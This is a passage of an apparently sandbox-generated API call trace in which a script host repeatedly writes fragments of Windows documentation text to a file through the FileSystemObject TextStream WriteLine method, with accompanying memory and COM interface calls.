pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b8e8, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.694] malloc (_Size=0x8) returned 0x249c884edf0 [0148.694] malloc (_Size=0x72) returned 0x249c884a540 [0148.694] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.694] malloc (_Size=0xac) returned 0x249c884ee60 [0148.694] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.694] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.694] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.694] wcsncpy_s (in: _Destination=0x249ca4d57d2, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.694] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.694] free (_Block=0x249c884a540) [0148.694] free (_Block=0x249c884edf0) [0148.694] free (_Block=0x249c884ee60) [0148.694] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.694] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.694] SysReleaseString () returned 0x1 [0148.694] CoTaskMemFree (pv=0x249c87615e0) [0148.694] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.694] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.695] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.695] SysAddRefString () returned 0x0 [0148.695] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.695] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.695] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.695] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b8e8, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.695] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876a258, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.695] malloc (_Size=0x8) returned 0x249c884ed40 [0148.695] malloc (_Size=0x14) returned 0x249ca447870 [0148.695] _snwprintf_s (in: _DstBuf=0x249ca447870, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.695] malloc (_Size=0x4e) returned 0x249c884a540 [0148.695] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.695] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.695] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.695] wcsncpy_s (in: _Destination=0x249ca4d5878, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.695] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.695] free (_Block=0x249ca447870) [0148.695] free (_Block=0x249c884ed40) [0148.695] free (_Block=0x249c884a540) [0148.695] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.696] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.696] SysReleaseString () returned 0x1 [0148.696] CoTaskMemFree (pv=0x249c8761b80) [0148.696] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.696] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.696] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.696] SysAddRefString () returned 0x0 [0148.696] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.696] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.696] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.697] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876a258, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.697] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876aec8, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.697] malloc (_Size=0x8) returned 0x249c884ed20 [0148.697] malloc (_Size=0x14) returned 0x249ca447690 [0148.697] _snwprintf_s (in: _DstBuf=0x249ca447690, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.697] malloc (_Size=0x4e) returned 0x249c884a540 [0148.697] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.697] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.697] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.697] wcsncpy_s (in: _Destination=0x249ca4d58c0, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.697] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.697] free (_Block=0x249ca447690) [0148.697] free (_Block=0x249c884ed20) [0148.697] free (_Block=0x249c884a540) [0148.697] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.697] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.697] SysReleaseString () returned 0x1 [0148.697] CoTaskMemFree (pv=0x249c8761b80) [0148.697] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.697] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.698] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.698] SysAddRefString () returned 0x0 [0148.698] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.698] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.698] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.698] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876aec8, pBstrHelpFile=0x249c8758f60*="靰졵ɉ") returned 0x0 [0148.698] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b288, pBstrHelpFile=0x249c8758f60*="靰졵ɉ") returned 0x0 [0148.698] malloc (_Size=0x8) returned 0x249c884ecb0 [0148.698] malloc (_Size=0xae) returned 0x249c884ee60 [0148.698] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.698] malloc (_Size=0xe8) returned 0x249ca4d5de0 [0148.698] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.698] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.698] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.698] wcsncpy_s (in: _Destination=0x249ca4d5908, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.698] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.698] free (_Block=0x249c884ee60) [0148.699] free (_Block=0x249c884ecb0) [0148.699] free (_Block=0x249ca4d5de0) [0148.699] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.699] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.699] SysReleaseString () returned 0x1 [0148.699] CoTaskMemFree (pv=0x249c8761b80) [0148.699] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.699] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.699] CoTaskMemAlloc (cb=0x28) returned 0x249c8761550 [0148.699] SysAddRefString () returned 0x0 [0148.699] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.699] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.699] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.700] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b288, pBstrHelpFile=0x249c8758f60*="靰졵ɉ") returned 0x0 [0148.700] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876afe8, pBstrHelpFile=0x249c8758f60*="靰졵ɉ") returned 0x0 [0148.700] malloc (_Size=0x8) returned 0x249c884ed70 [0148.700] malloc (_Size=0xd0) returned 0x249c884ee60 [0148.700] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.700] malloc (_Size=0x10a) returned 0x249ca4d5de0 [0148.700] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.700] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.700] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.700] wcsncpy_s (in: _Destination=0x249ca4d59ea, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.700] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.700] free (_Block=0x249c884ee60) [0148.700] free (_Block=0x249c884ed70) [0148.700] free (_Block=0x249ca4d5de0) [0148.700] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.700] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.700] SysReleaseString () returned 0x1 [0148.700] CoTaskMemFree (pv=0x249c8761550) [0148.700] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.701] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.701] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.701] SysAddRefString () returned 0x0 [0148.701] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.701] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.701] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | 